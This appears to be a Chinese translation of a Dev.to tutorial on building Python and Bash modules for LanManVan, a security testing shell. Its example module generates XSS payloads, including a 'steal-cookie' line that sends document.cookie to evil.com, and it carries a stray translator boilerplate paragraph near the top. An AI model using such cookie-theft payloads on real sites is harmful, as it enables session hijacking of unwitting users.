LanManVan:如何创建自己的模块

发布: (2026年1月1日 GMT+8 17:45)
4 分钟阅读
原文: Dev.to

Source: Dev.to

要为您提供准确的翻译,请提供您希望翻译的完整文本(包括正文、标题、代码块说明等)。只提供链接本身不足以进行翻译。请粘贴或输入文章的内容,我会按照要求保留原始格式、Markdown 语法和技术术语,只翻译正文部分。

创建新模块

使用 LanManVan shell 中内置的 create 命令。

# Python module
create mytool python

# Bash module
create mytool bash

示例

hmza@0root create xss-payload-gen python
[+] Module 'xss-payload-gen' created successfully
[*] Location: /home/hmza/lanmanvan/modules/xss-payload-gen

该命令会自动创建:

  • 模块目录
  • module.yaml(元数据)
  • main.py main.sh(你的代码)

你可以使用 edit 命令编辑模块:

hmza@0root edit xss-payload-gen

这将在默认编辑器中打开模块目录并显示文件:

Files in module:
  ├─ main.py
  └─ module.yaml

模块元数据 (module.yaml)

module.yaml 文件用于向 LanManVan 说明你的模块信息。

Source:

Python 模块示例 (main.py)

参数通过环境变量 (ARG_) 传递。

#!/usr/bin/env python3
"""
Module: xss-payload-gen
"""

import os
import urllib.parse
import base64

def url_encode(s):
    return urllib.parse.quote(s)

def html_encode(s):
    return (
        s.replace('&', '&')
         .replace('', '>')
         .replace('"', '"')
    )

def main():
    payload_type = os.getenv('ARG_TYPE', 'alert')
    encode = os.getenv('ARG_ENCODE', 'url').lower()

    payloads = {
        'alert': 'alert(1)',
        'steal-cookie': 'fetch("https://evil.com/steal?cookie="+document.cookie)',
        'beacon': ''
    }

    base = payloads.get(payload_type, payloads['alert'])

    if encode == 'url':
        result = url_encode(base)
    elif encode == 'html':
        result = html_encode(base)
    elif encode == 'base64':
        result = base64.b64encode(base.encode()).decode()
    else:
        result = base

    print(f"[+] Generated payload ({payload_type}, {encode}-encoded):")
    print()
    print(result)
    print()
    print("[*] Copy and test in your target!")

if __name__ == '__main__':
    main()

运行 Python 模块

# 简写(无空格)
xss-payload-gen type=steal-cookie encode=none

# 带空格(仍然有效)
xss-payload-gen type = beacon encode = base64

# 使用额外的全局选项
xss-payload-gen type=alert threads=5 save=1

当使用 save=1 时,输出会保存到 ./logs/ 并带有时间戳。

Bash 模块示例 (main.sh)

创建一个基于 Bash 的模块,例如 MAC 地址查询工具。

# Create the module
create mac-lookup bash

编辑 main.sh

#!/bin/bash
VENDOR=$(curl -s "http://api.macvendors.com/$ARG_MAC")
echo "[+] MAC: $ARG_MAC"
echo "[+] Vendor: ${VENDOR:-Unknown}"

对应的 module.yaml(仅展示 options 部分以示简洁):

options:
  mac:
    type: string
    description: MAC address to lookup
    required: true

运行 Bash 模块

mac-lookup mac=00:11:22:33:44:55

附加提示

  • Searchsearch <term> 查找相似模块。
  • Infoinfo <module> 显示详细视图。
  • Logging – 添加 save=1 将输出存储在 ./logs/
  • Threading – 使用 threads=N 进行并发执行(如果模块支持)。
  • Global variables – 根据需要设置 timeout=?proxy=http://127.0.0.1:8080

发布你的模块

  1. 将你的模块放在独立的 GitHub 仓库中。
  2. 包含 module.yaml 文件。
  3. 提交 Pull Request 将其添加到社区仓库,或使用 lmv_module 直接从任何公共仓库安装。

LanManVan 让模块开发变得有趣且快速——无需模板、无需复杂的 API——只需编写你的工具并在强大的 Shell 中运行。

今天就开始创建吧!

hmza@0root create my-awesome-tool python

仓库:

提交你的模块、想法或 PR——让我们一起壮大它!祝你 hacking 愉快(始终保持伦理)! 🚀

Back to Blog

相关文章

阅读更多 »

RGB LED 支线任务 💡

markdown !Jennifer Davishttps://media2.dev.to/dynamic/image/width=50,height=50,fit=cover,gravity=auto,format=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%...

Mendex:我为何构建

介绍 大家好。今天我想分享一下我是谁、我在构建什么以及为什么。 早期职业生涯与倦怠 我在 17 年前开始我的 developer 生涯……